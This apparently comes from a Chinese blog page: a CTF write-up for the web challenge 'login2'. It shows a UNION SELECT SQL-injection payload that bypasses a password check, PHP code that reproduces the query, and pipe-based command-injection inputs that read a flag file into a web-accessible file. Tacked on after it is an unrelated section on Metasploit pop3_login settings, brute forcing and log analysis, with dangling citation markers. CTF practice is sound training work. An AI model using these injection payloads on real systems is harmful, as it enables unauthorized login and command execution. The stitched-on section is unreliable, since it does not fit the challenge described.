ctf-WEB-login2(sql注入)

题目地址:跳转提示

打开网址,是一个熟悉的登陆页面,几次登录尝试发现报错回显只有一种

应当不是基于布尔的盲注,bp抓包看看:

发现响应中有一串奇怪的字符,尝试使用base64解码,得到:

这应该是一个提示,需要绕过其判断条件

这里就可以利用联合查询来注入(union select)

之前说过,union select后面加数字串时,如果没有后面的表名,则该语句没有向任何一个数据库查询,那么它输出的内容就是select后的数字,并且使用联合查询要求必须保证前后查询的字段数一致,因此要绕过判断条件,可以payload

username=admi' UNION SELECT 1,md5(11)#&password=11,登录成功

这样就相当于:

$sql="SELECT username,password FROM admin WHERE username='admi' UNION SELECT 1,md5(11)";
if (!empty($row) && $row['password']===md5($password)){
}

要注意,提取数据时很可能只取了结果集的第一行数据,所以要保证输入的用户名是错误的,以确保$row['password']===md5(11);

实验了一下上述语句,推测$row的结构如下:
 

<?php
if($link=mysqli_connect("127.0.0.1","root","root","test")){
	$sql="SELECT username,password FROM admin WHERE username='admi' UNION SELECT 1,md5(11)";
	if($result=mysqli_query($link,$sql)){
		$raw=mysqli_fetch_array($result);
		var_dump($raw);
		mysqli_close($link);
	}else{
		echo mysqli_error;
		die();
	}
}else{
	echo mysqli_connect_error();
	die();
}
?>

 果然登录成功:

随便输入ls,发现结果显示使用了grep命令

再输入命令aa | ls>t

访问网站t目录,果然看到了ls结果

于是尝试输入 aa | cat \flag>t

打开t

### 解决 CTF 登录失败的方法 当遇到 CTF 中登录模块无法正常工作的情况时,可以从多个角度排查问题。以下是几种可能的原因及其解决方案: #### 1. 验证目标主机设置 确保 Metasploit Framework (MSF) 的 `rhosts` 参数已正确配置为目标 IP 地址。如果此参数未被适当设定,则可能导致扫描或利用操作针对错误的目标。 ```bash msf auxiliary(scanner/pop3/pop3_login) > set rhosts 192.168.1.13[^1] ``` #### 2. 检查服务版本兼容性 确认所使用的漏洞利用代码适用于目标服务器的操作系统和服务版本。例如,在上述场景中提到的是 Linux Ubuntu 和 MySQL 数据库环境下的情况。 对于特定的服务版本号如 '5.5.50-0ubuntu0.14.04.1' ,应当查找是否有对应的 exploit 或者辅助模块可以用于该版本的安全测试工具集内[^2]。 #### 3. 凭据验证与绕过策略 考虑到实际渗透过程中可能会涉及到身份认证环节,因此需要考虑如何获取有效的用户名密码组合来进行进一步深入探索。这可以通过暴力破解字典文件尝试猜测常见弱口令;也可以通过 SQL 注入等手段直接读取数据库中的账户信息表单数据。 一旦获得了合法的身份凭证之后就可以顺利进入后台管理系统执行更多命令了。然而值得注意的是这里描述的行为仅限于授权范围内的安全评估活动之中,并严格遵循法律法规的要求[^3]。 #### 4. 调试日志分析 查看并理解来自框架的日志输出可以帮助定位具体原因所在之处。比如时间戳 `[09:56:32][INFO]...` 提供的时间线有助于追踪事件发生的顺序以及任何异常状况的发生时刻。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

榴莲 蛋挞

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值